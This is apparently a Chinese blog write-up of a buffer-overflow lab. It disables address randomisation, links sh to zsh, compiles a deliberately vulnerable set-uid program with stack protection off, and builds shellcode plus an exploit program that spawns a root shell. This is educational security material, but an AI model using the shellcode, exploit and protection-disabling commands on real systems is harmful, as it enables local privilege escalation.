Linux四大安全实验三-基于实验楼平台的学习

缓冲区溢出漏洞实验

  • 前言
  • 进行实验环境配置
    • 首先进行地址随机化
    • 使用zsh代替bash
    • 进入Linux32环境
  • 编写ShellCode
  • 写入漏洞程序
  • 写入攻击程序
  • 进行攻击
  • 总结

前言

如果需要一些前沿知识请看我前两篇博客汇编与反汇编入门-X86 AT&T汇编和初探缓冲区溢出。

进行实验环境配置

首先进行地址随机化

Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,**而猜测内存地址是缓冲区溢出攻击的关键。**命令如下:

sudo sysctl -w kernel.randomize_va_space=0

在这里插入图片描述

使用zsh代替bash

因为bash对set-uid程序获得root权限有防护措施,所以最好用zsh,具体见我之前的一篇文章SET-UID程序漏洞

sudo su
rm sh
ln -s zsh sh
exit

Linux四大安全实验三-基于实验楼平台的学习_第1张图片

进入Linux32环境

输入

linux32

在这里插入图片描述

编写ShellCode

其实shellcode就是一段代码,之前我们提到过由于缓冲区溢出,数据覆盖了返回地址,比如将返回地址覆盖为JMP ESP,接下来会跳到ESP位置(栈顶),在栈顶位置写入ShellCode。先写下C代码如下:

#include<stdio.h>
#include<unistd.h>

int main(int argc,char*argv[]){
        char *array[2];
        array[0]="/bin/sh";
        array[1]=NULL;
        execve(array[0],array,NULL);
}      

将这段C代码转为ShellCode(这段代码的汇编版本)可能有点难理解,可以借鉴如何编写并编译一个shellcode(linux)里面有详细说明

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

写入漏洞程序

写入代码如下:

/*
 *这段程序肯定是有缓冲区溢出漏洞的
 * */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* 很明显是这个函数出现的*/
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

程序相对简单,是将文件打开,并读这个文件的517字节,装入buffer,buffer只有12字节,肯定是会溢出的。
在这里提点题外话,现在的Linux系统很多都有对抗缓冲区溢出攻击,主要是三种

1. 地址随机化(之前已经随机化了)
2. 栈破坏检查(使用gcc编译时要加入参数-fno-stack-protector)
3. 限制可执行代码区域

以上来自CSAPP
现在来编译,将这个程序编译为set-uid程序

sudo su
gcc -g -z execstack -fno-stack-protector stack.c -o stack -m32
chmod u+s stack
exit

这里-g是便于后面使用gdb调试,-z execstack是允许执行栈,-fno-stack-protector是关闭gcc栈保护机制
Linux四大安全实验三-基于实验楼平台的学习_第2张图片

写入攻击程序

攻击程序如下expoloit.c

*
 *创建一个文件里面有ShellCode
 * */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
//这是我们之前得到的ShellCode
char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* 初始化缓冲区  0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* 填入缓冲区 */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100

    /* 创建并存储文件 "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

这个x??处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。
为了得到shellCode在内存中的地址我们需要使用gdb进行调试(调试之前得到的stack),disassemble命令可以看到反汇编代码

gdb stack
disassemble main

Linux四大安全实验三-基于实验楼平台的学习_第3张图片
esp中就是str的起始地址
Linux四大安全实验三-基于实验楼平台的学习_第4张图片
每台计算机地址可能不同,所以最好自己调试,我在0x00001284处设置断点其实就是在stack.c中的badfile = fopen(“badfile”, “r”); 处设置断点,我这里是23行,设置断点后,运行,然后打印esp的地址即缓冲区的起始地址
Linux四大安全实验三-基于实验楼平台的学习_第5张图片
记录下这里的0xffffcf50。在expoloit.c中的strcpy(buffer + 100, shellcode); 知道shellcode在buffer加上100处,所以我们通过计算十六进制可得到shellcode地址,100的十六进制为64,进入十六进制计算网站,输入0xffffcf50与0x64。
Linux四大安全实验三-基于实验楼平台的学习_第6张图片
可以知道shellcode地址为0xFFFFCFB4所以我们expoloit.c中的strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");最后的\x??\x??\x??\x??可以填入**\xb4\xcf\xff\xff**(会覆盖掉函数栈的返回地址,注意填入顺序是反的,我之前的博客初探缓冲区溢出有相关内容,见前言)。然后对程序进行编译。

gcc expoloit.c -o expoloit -m32

进行攻击

分别执行攻击程序和漏洞程序可以获得root权限
在这里插入图片描述

总结

这次实验挺有难点,需要许多前置的知识,难点尤其在ShellCode的编写,逻辑其实就是编写C语言代码,将其转换为ShellCode(这里的C语言执行execve)。
漏洞程序是将badfile文件中的内容通过strcpy函数复制入缓冲区,而缓冲区空间必然不足,所以会溢出(这一个漏洞程序是set-uid程序)。
而攻击程序其实就是将shellcode写入badfile中,写入的最后四个字节其实就是ShellCode要放的地址会覆盖掉函数栈的返回地址。相当于到函数到ret指令后会跳转到ShellCode,即执行execve函数,由于zsh+set-uid程序的组合导致特别危险,从而获得root权限。
所以先执行攻击程序再执行漏洞程序,从而成功hack。

你可能感兴趣的:(linux,安全,bash)